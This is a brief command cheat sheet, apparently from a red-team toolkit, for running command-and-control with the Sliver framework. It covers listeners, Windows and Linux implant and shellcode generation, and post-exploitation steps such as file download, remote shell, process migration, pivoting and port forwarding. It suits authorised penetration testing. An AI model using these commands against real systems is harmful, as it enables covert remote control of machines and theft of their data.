<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Building C2 with Sliver

## Listeners
```
mtls --lhost 0.0.0.0 --lport 8888
https --domain example.com --lport 443
dns --domains c2.example.com --lport 53
jobs / jobs -k ID
```

## Implant Generation
```
generate --mtls HOST:PORT --os windows --arch amd64 --save implant.exe
generate beacon --http https://HOST --os linux --seconds 30 --jitter 50
generate --format shellcode --save payload.bin
```

## Session Management
```
sessions / beacons / use ID / background / sessions -k ID
```

## Post-Exploitation
```
info / whoami / getuid / ps / netstat
download REMOTE [LOCAL] / upload LOCAL REMOTE
execute -o CMD / shell / migrate --pid PID
pivots tcp --bind 0.0.0.0:PORT / socks5 start
portfwd add -b 127.0.0.1:LOCAL -r TARGET:REMOTE
```

## Armory
```
armory / armory install NAME
```
